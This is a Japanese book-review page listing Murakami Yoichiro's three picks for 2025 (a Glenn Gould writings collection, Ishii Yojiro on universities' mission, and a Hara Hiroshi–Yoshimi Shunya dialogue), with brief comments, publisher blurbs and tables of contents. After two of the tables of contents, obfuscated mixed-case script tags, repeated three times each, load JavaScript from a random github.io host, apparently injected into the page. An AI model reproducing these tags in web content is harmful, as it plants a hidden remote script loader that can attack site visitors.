書評
村上 陽一郎「2025年 この3冊」毎日新聞|<1>ティム・ペイジ編、宮澤 淳一訳『グレン・グールド著作集』(みすず書房) <2>石井 洋二郎『大学の使命を問う』(藤原書店) <3>原 広司、吉見 俊哉『このとき、夜のはずれで、サイレンが鳴った』(岩波書店)
- 2025/12/31
2025年「この3冊」
<1>ティム・ペイジ編、宮澤 淳一訳『グレン・グールド著作集』(みすず書房)
<2>石井 洋二郎『大学の使命を問う』(藤原書店)
<3>原 広司、吉見 俊哉『このとき、夜のはずれで、サイレンが鳴った』(岩波書店)
最初の二つは、本紙で取り上げる機会を失った作品、<3>は本紙でも紹介したが、内容もさることながら、個人的哀惜の情黙(もだ)し難く、敢(あ)えて再登場。
<1>は、ちょっと手が出し難いほどの大著、あのグールドが、これほどの健筆家であったとは、それだけで大きな驚きだった。実は先訳があったのだが、不勉強の評子は見過ごしていたというお粗末。でも、今回新たな訳者のお陰で、この稀代(きたい)の才人が、パフォーマンスという営みに関して、極めて幅広く、かつ深い洞察と見識を持っていたことを知る良い機会になった。
<2>は、今日大学を語らせたら第一人者の著者の、大学への愛と危機感に由来する好著。出版元のトップが、テーマに関して問答を挑む、著者がそれに応える、という珍しい形式。著者が大学の新入生に対して贈った愛情あふれるメッセージも採録。
グレン・グールド著作集
- 著者:グレン・グールド
- 翻訳:宮澤 淳一
- 出版社:みすず書房
- 装丁:単行本(712ページ)
- 発売日:2025-04-12
- ISBN-10:4622097702
- ISBN-13:978-4622097709
- 内容紹介:
- 独創的ピアニストが遺した言葉を「音楽」「パフォーマンス」「メディア」などに集大成。未来に読み継がれる35年ぶり新訳決定版。「グレン・グールドが日本を訪れることはなかった。三十一歳… もっと読む独創的ピアニストが遺した言葉を「音楽」「パフォーマンス」「メディア」などに集大成。未来に読み継がれる35年ぶり新訳決定版。
「グレン・グールドが日本を訪れることはなかった。三十一歳で演奏会活動をやめていたし、二十代なかば以降は飛行機に乗ることも拒んでいたからだ。そもそも六十年前の世界は今よりはるかに大きく感じられていた。しかし、グレンが名ピアニストであるばかりか、第一級の音楽思想家であることを早くから認め、あの見事な演奏に劣らず、その思想にも考察する価値を見出していた国は、日本だったのである。
本書『グレン・グールド著作集』(The Glenn Gould Reader)は、一九八二年十月四日にグレンが没してから数ヶ月のうちにまとめられた。私たち友人や関係者がひどい衝撃に見舞われていた時期だが、この私たちは、グレンの大胆さ、独創性、知性、そして喜びを捉えた本を出したいと考えた。彼の言葉が生き続け、その演奏同様に、未来の世代に語りかけてくれることが大切だと思えたからだ。
グールドが生きていれば、九十歳を越えている。彼が没してから四十年以上が過ぎたが、これまでに起こった大きな変化の数々を彼はどのように受けとめたであろうか――。いずれにせよ、彼の音楽と思想は今も生きている。そして私たちを魅了し続けるのだ。」(編者ティム・ペイジ)
目 次
日本の読者へ(ティム・ペイジ)
謝辞
はじめに(ティム・ペイジ)
プロローグ
1 卒業生に贈る言葉
第1部 音楽
2 バードとギボンズ
3 ドメニコ・スカルラッティ
4 バッハのフーガの技法
5 バッハの《ゴルトベルク変奏曲》
6 ボトキーのバッハ論
7 モーツァルトをめぐって――ブリューノ・モンサンジョンとの対話
8 グレン・グールド、ベートーヴェンについてグレン・グールドに訊く
9 ベートーヴェンの《悲愴》《月光》《熱情》
10 ベートーヴェンの最後の三つのソナタ
11 ピアノによる「運命」架空批評
12 ベートーヴェンとバッハの協奏曲
13 ブラームスはお好き?
14 ロマン派のめずらしい作曲家を掘り起こすべきか?
15 グリーグとビゼーのピアノ曲と批評家への付言
16 急浮上するマーラーのデータバンク
17 リヒャルト・シュトラウス論
18 リヒャルト・シュトラウスとやがて迎える電子時代
19 リヒャルト・シュトラウスの《イノック・アーデン》
20 シベリウスのピアノ曲
21 アルノルト・シェーンベルク論
22 シェーンベルクのピアノ曲
23 モーツァルトとシェーンベルクのピアノ協奏曲
24 シェーンベルクの室内交響曲第二番
25 鷹、鳩、フランツ・ヨーゼフという名の兎
26 ヒンデミット――終焉か始まりか
27 二つの《マリアの生涯》をめぐる物語
28 スクリャービンとプロコフィエフのピアノ・ソナタ
29 ソヴィエト連邦の音楽
30 アイヴズの交響曲第四番
31 「エルンストなんとかさん」記念文集
32 ベルク、シェーンベルク、クシェネクのピアノ曲
33 コルンゴルトとピアノ・ソナタの危機
34 二十世紀カナダのピアノ曲集
35 十二音主義者のジレンマ
36 ピエール・ブーレーズ伝
37 未来と「フラット=フット・フルージー」
38 テリー・ライリーの《Cで》
39 グールドの作曲した弦楽四重奏曲作品一
40 フーガを書いてごらんなさい
第2部 パフォーマンス
41 拍手を禁止しよう!
42 失格しそうな私たちから敬意をこめて
43 即興の心理
44 批評家を批評する
45 ストコフスキー 六つの場面
46 ルービンシュタインとの対話
47 モード・ハーバーの思い出、またはルービンシュタインの主題による変奏曲
48 ユーディ・メニューイン
49 ペトゥラ・クラーク探求
50 ストライサンドはシュヴァルツコップ
間奏曲
51 グレン・グールド、グレン・グールドについてグレン・グールドに訊く
第3部 テクノロジー
52 録音の将来
53 音楽とテクノロジー――パリ市民への手紙
54 隣りのアウトテイクは常に青い――聴取実験レポート
55 きっとほかに何かある
56 音楽としてのラジオ
57 『北の理念』からプロローグ
58 ラジオ・ドキュメンタリー『北の理念』
59 ラジオ・ドキュメンタリー『遅れてきた人々』
第4部 その他
60-62 ヘルベルト・フォン・ホーホマイスター博士名義の三篇――「撮影上手のCBC」「時代と時を刻む者たちについて」「若者、集団、芸術の精神」
63 グレン・グールドのトロント
64 ポート・チルクート会議
65 事実か空想か歴史心理学か――P・D・Q・バッハ地下活動の手記より
66 十年に一枚のレコード『スイッチト=オン・バッハ』
67 ローズマリーの赤ちゃんたち
68 私が無人島に持参するレコード
69 映画『スローターハウス5』
70 ペイザントのグレン・グールド伝
コーダ
71 ティム・ペイジとの対話
訳者あとがき
出典と解題
索引
その他の書店
ALL REVIEWS経由で書籍を購入いただきますと、
書評家に書籍購入価格の0.7~5.6%が還元されます。
ALL REVIEWS経由で書籍を購入いただきますと、書評家に書籍購入価格の0.7~5.6%が還元されます。
大学の使命を問う
- 著者:石井 洋二郎
- 出版社:藤原書店
- 装丁:単行本(ソフトカバー)(240ページ)
- 発売日:2025-08-27
- ISBN-10:4865784683
- ISBN-13:978-4865784688
- 内容紹介:
- 同世代の約6割が大学に進学し、大学入学そのものへのハードルはますます低くなる一方、情報伝達の手段も経路も多様化している現代において、かつての教養主義の大学イメージは、現実の若者のあ… もっと読む同世代の約6割が大学に進学し、大学入学そのものへのハードルはますます低くなる一方、情報伝達の手段も経路も多様化している現代において、かつての教養主義の大学イメージは、現実の若者のありようから、もはや大きくかけ離れている。
他方で、1990年代以降の教養課程廃止の趨勢から、国立大学の独立行政法人化を経て、大学における「教養」のあり方も、重視される専門領域も大きく変質し、さらには、毎年公表される国際的な大学ランキングなるものによって、日本の大学の「地盤沈下」がまことしやかに報道される。
今、日本の大学は、一体どんな危機に直面しているのか。その危機に向き合うなかで、大学が真に重視すべきミッションとは何か。
40年以上にわたって教育および管理運営の立場から大学という場に携わってきた著者が、「教養」のあり方の再定義、文系軽視への警鐘、学長選考と大学・学問の自治といったさまざまな切り口から、今こそ大学が手放してはならない「使命」とは何かを問う。
目次
まえがき
Ⅰ 大学は危機にあるのか
Ⅱ 大学はどのようにして生まれて成長してきたか
Ⅲ 「教育」はどのように変化してきたか
Ⅳ 「研究」にはどのような問題があるのか
Ⅴ 「管理運営」が抱えている課題は何か
Ⅵ 未来の「学生」たちへ
付 深く迷い、高く跳べ
熱き血潮に触れよ
あとがき
参考文献<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>
その他の書店
ALL REVIEWS経由で書籍を購入いただきますと、
書評家に書籍購入価格の0.7~5.6%が還元されます。
ALL REVIEWS経由で書籍を購入いただきますと、書評家に書籍購入価格の0.7~5.6%が還元されます。
このとき、夜のはずれで、サイレンが鳴った
- 著者:原 広司, 吉見 俊哉
- 出版社:岩波書店
- 装丁:単行本(224ページ)
- 発売日:2025-03-28
- ISBN-10:4000229842
- ISBN-13:978-4000229845
- 内容紹介:
- 梅田スカイビル、京都駅ビル、札幌ドーム……。「集落への旅」を起点に、生涯、「建築に何が可能か」を問い続けた哲人・建築家。氏を師と仰ぐ都市論の第一人者を相手に、自らの人生と思想を縦横… もっと読む梅田スカイビル、京都駅ビル、札幌ドーム……。「集落への旅」を起点に、生涯、「建築に何が可能か」を問い続けた哲人・建築家。氏を師と仰ぐ都市論の第一人者を相手に、自らの人生と思想を縦横無尽に語った対角線の対話。一月に逝去した原が、最後まで全力で取り組み、遺したオーラルヒストリー。
はじめにというおわり 吉見俊哉
第1章 空襲を潜る――国家の建築と谷間の建築
東京大学と子弟、建築と社会学
丹下健三と戦後日本
空襲下の川崎から伊那の谷へ
〈自由〉の感覚が生まれたとき
マイナスの中心からの風景
建築家とは誰のことか
閉ざされた谷間に住んでいた人々
第2章 旅する建築――逃亡者の集落へ
なぜ、集落調査に向かったのか
国境を越える方法
逃亡者の集落
集団的な記憶の再生は可能か
自然が多様な空間言語を生む
仕掛けとしての建築
「非ず非ず」が新しいものを生み出す
第3章 夜のはずれで――自滅の先にあるもの
均質空間とはそもそも何か
建築の局所性
資本主義にうっちゃりをくわす方法
谷間には谷間のものができる
「離れて立て」
『それから』の世紀としての二十世紀
資本主義と神のあいだで
三千代の視点から読み返す
量子力学と「場」
「記号場」としての建築
人口増加と殺人の二十世紀、あるいはモダンとポストモダン
全体主義はいつも「凶悪な敵」を必要とする
場面としての都市へ
引き算をどう入れるか
第4章 場面を待ちながら――反抗的人間と建築
建築、あるいは場面を待つこと
逃亡者としてのヴラジーミルとエストラゴン
キリスト=マルクスを拒絶するカミュ
三度、殺されるカミュ
「奴隷の世紀」としての二十世紀
ユダヤ・キリスト教的時間と地中海的時間
空間を横切る
再び、建築家とは誰のことか
よく観察すること
「生きる」と「澄む」と「住む」
追 記
原広司の思考のネットワーク(トピックカード一覧)
本書関連年表
原広司語彙集(付箋集)
おわりにというはじめ 吉見俊哉
写真・図版提供/出典一覧
《原広司語》注釈
原広司 List of Works<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>
その他の書店
ALL REVIEWS経由で書籍を購入いただきますと、
書評家に書籍購入価格の0.7~5.6%が還元されます。
ALL REVIEWS経由で書籍を購入いただきますと、書評家に書籍購入価格の0.7~5.6%が還元されます。
関連記事
ALL REVIEWSをフォローする
































